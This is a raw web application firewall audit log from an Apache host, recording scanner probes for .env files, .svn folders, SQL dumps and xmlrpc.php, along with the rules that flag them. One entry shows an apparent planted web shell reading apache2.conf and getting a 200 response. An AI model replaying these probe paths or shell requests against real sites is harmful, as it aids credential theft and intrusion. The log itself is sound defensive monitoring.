combined=1916, p1=324, p2=1535, p3=0, p4=0, p5=57, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --77e38979-Z-- --8ec95749-A-- [16/Jun/2025:00:57:28.526107 +0530] aE8en1eqy5hRjKvJEAycUwAAAAE 128.199.112.101 42228 127.0.0.1 7081 --8ec95749-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8ec95749-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8ec95749-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8en1eqy5hRjKvJEAycUwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015647575991 950171 (- - -) Stopwatch2: 1750015647575991 950171; combined=2359, p1=419, p2=1588, p3=40, p4=52, p5=161, sr=131, sw=99, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8ec95749-Z-- --eb52fa55-A-- [16/Jun/2025:00:57:42.686225 +0530] aE8ergW_rlaNA7qLBTtDWgAAAAs 185.177.72.210 51398 127.0.0.1 7081 --eb52fa55-B-- GET /private/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb52fa55-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b476afb892b0c223f334068d072f9bb71750015662; expires=Sun, 15 Jun 2025 20:27:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb52fa55-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.svn/entries"] [unique_id "aE8ergW_rlaNA7qLBTtDWgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015662019799 666485 (- - -) Stopwatch2: 1750015662019799 666485; combined=1988, p1=418, p2=1505, p3=0, p4=0, p5=65, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb52fa55-Z-- --8df6265a-A-- [16/Jun/2025:00:57:48.444042 +0530] aE8es3salJN_0-_70dLvhQAAAAU 185.177.72.210 51834 127.0.0.1 7081 --8df6265a-B-- GET /:8000/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8df6265a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c49521d611bb8aa862b26055dbdf181a1750015668; expires=Sun, 15 Jun 2025 20:27:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8df6265a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/shop/.env"] [unique_id "aE8es3salJN_0-_70dLvhQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015667777540 666561 (- - -) Stopwatch2: 1750015667777540 666561; combined=1639, p1=353, p2=1214, p3=0, p4=0, p5=71, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8df6265a-Z-- --82910760-A-- [16/Jun/2025:00:57:52.607975 +0530] aE8etwW_rlaNA7qLBTtDZAAAAAs 185.177.72.210 57734 127.0.0.1 7081 --82910760-B-- GET /tmp/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --82910760-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4914ee208902d7fac6fef0cc5ffba7c41750015672; expires=Sun, 15 Jun 2025 20:27:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --82910760-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.backup"] [unique_id "aE8etwW_rlaNA7qLBTtDZAAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.backup"] [unique_id "aE8etwW_rlaNA7qLBTtDZAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015671791840 816216 (- - -) Stopwatch2: 1750015671791840 816216; combined=1950, p1=378, p2=1421, p3=0, p4=0, p5=151, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82910760-Z-- --ef464251-A-- [16/Jun/2025:00:57:57.222975 +0530] aE8evT6fDirgE_qJvgHJugAAAAA 3.209.174.110 58564 127.0.0.1 7081 --ef464251-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/apache2&viewfile=//etc/apache2/apache2.conf.saved_by_psa.09.02;18:55 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 3.209.174.110 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --ef464251-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6073 Connection: close Content-Type: text/html; charset=UTF-8 --ef464251-H-- Message: Warning. Matched phrase "etc/apache2/apache2.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/apache2.conf found within ARGS:viewfile: /etc/apache2/apache2.conf.saved_by_psa.09.02;18:55"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/apache2.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/apache2.conf found within ARGS:viewfile: /etc/apache2/apache2.conf.saved_by_psa.09.02;18:55"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8evT6fDirgE_qJvgHJugAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750015677218178 4860 (- - -) Stopwatch2: 1750015677218178 4860; combined=2500, p1=437, p2=1931, p3=38, p4=38, p5=56, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef464251-Z-- --89677c52-A-- [16/Jun/2025:00:58:05.172981 +0530] aE8exCKD19h5xDtM-2wcLgAAAAo 185.177.72.210 57808 127.0.0.1 7081 --89677c52-B-- GET /.bumpversion.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --89677c52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2780be5d8dd1a568b276acab0f5f7e841750015684; expires=Sun, 15 Jun 2025 20:28:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --89677c52-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bumpversion.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bumpversion.cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.bumpversion.cfg"] [unique_id "aE8exCKD19h5xDtM-2wcLgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015684429702 743369 (- - -) Stopwatch2: 1750015684429702 743369; combined=1748, p1=266, p2=1361, p3=0, p4=0, p5=120, sr=75, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --89677c52-Z-- --5b3f6636-A-- [16/Jun/2025:00:58:08.185937 +0530] aE8exy7MaF0j8lD2KTIX2wAAAAM 185.177.72.210 58070 127.0.0.1 7081 --5b3f6636-B-- GET /:5601/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b3f6636-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eabb7a37b07e7dbea999821d52cc22041750015688; expires=Sun, 15 Jun 2025 20:28:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b3f6636-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.4"] [unique_id "aE8exy7MaF0j8lD2KTIX2wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015687541964 644048 (- - -) Stopwatch2: 1750015687541964 644048; combined=1654, p1=348, p2=1212, p3=0, p4=0, p5=93, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b3f6636-Z-- --0b7edb50-A-- [16/Jun/2025:00:58:11.386485 +0530] aE8eygW_rlaNA7qLBTtDcgAAAAs 185.177.72.210 38172 127.0.0.1 7081 --0b7edb50-B-- GET /wwwroot.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b7edb50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=168d611a88c7178202f883fc390d9de31750015691; expires=Sun, 15 Jun 2025 20:28:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b7edb50-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wwwroot.sql"] [unique_id "aE8eygW_rlaNA7qLBTtDcgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015690727958 658589 (- - -) Stopwatch2: 1750015690727958 658589; combined=1962, p1=425, p2=1449, p3=0, p4=0, p5=87, sr=141, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b7edb50-Z-- --89dd477b-A-- [16/Jun/2025:00:58:22.232742 +0530] aE8e1T3D4g1mGjVnV5KGTAAAAAY 185.177.72.210 58382 127.0.0.1 7081 --89dd477b-B-- GET /.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --89dd477b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a28daa21a014d6338b8baca1bba4f0cc1750015701; expires=Sun, 15 Jun 2025 20:28:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --89dd477b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.txt"] [unique_id "aE8e1T3D4g1mGjVnV5KGTAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015701397327 835490 (- - -) Stopwatch2: 1750015701397327 835490; combined=153783, p1=371, p2=1162, p3=0, p4=0, p5=76169, sr=90, sw=0, l=0, gc=76081 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --89dd477b-Z-- --ec01be57-A-- [16/Jun/2025:00:58:24.161230 +0530] aE8e13salJN_0-_70dLvpQAAAAU 185.177.72.210 58494 127.0.0.1 7081 --ec01be57-B-- GET /babel-plugin-dotenv/test/fixtures/filename/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec01be57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fe3d1e4e5b7a25f401aa380a6e6158981750015704; expires=Sun, 15 Jun 2025 20:28:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec01be57-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/babel-plugin-dotenv/test/fixtures/filename/.env"] [unique_id "aE8e13salJN_0-_70dLvpQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015703502240 659074 (- - -) Stopwatch2: 1750015703502240 659074; combined=2040, p1=384, p2=1542, p3=0, p4=0, p5=113, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec01be57-Z-- --7b816f3c-A-- [16/Jun/2025:00:58:28.014623 +0530] aE8e23salJN_0-_70dLvpwAAAAU 128.199.112.101 58740 127.0.0.1 7081 --7b816f3c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7b816f3c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7b816f3c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8e23salJN_0-_70dLvpwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015707080419 934270 (- - -) Stopwatch2: 1750015707080419 934270; combined=2716, p1=446, p2=1833, p3=50, p4=68, p5=202, sr=121, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b816f3c-Z-- --dbec242f-A-- [16/Jun/2025:00:58:38.335621 +0530] aE8e5S7MaF0j8lD2KTIX6wAAAAM 185.177.72.210 42540 127.0.0.1 7081 --dbec242f-B-- GET /:8008/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dbec242f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b740040b28c19a6dddc3f8550b6ca93c1750015718; expires=Sun, 15 Jun 2025 20:28:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dbec242f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/temp/.env"] [unique_id "aE8e5S7MaF0j8lD2KTIX6wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015717678349 657335 (- - -) Stopwatch2: 1750015717678349 657335; combined=2017, p1=415, p2=1492, p3=0, p4=0, p5=109, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dbec242f-Z-- --79da2804-A-- [16/Jun/2025:00:58:39.323471 +0530] aE8e5pnj7pFxi-BGHz6tHQAAAAI 185.177.72.210 42586 127.0.0.1 7081 --79da2804-B-- GET /:10000/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79da2804-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=845a40687b375eb8ed2d91057acc6e171750015719; expires=Sun, 15 Jun 2025 20:28:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79da2804-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/crm/.env"] [unique_id "aE8e5pnj7pFxi-BGHz6tHQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 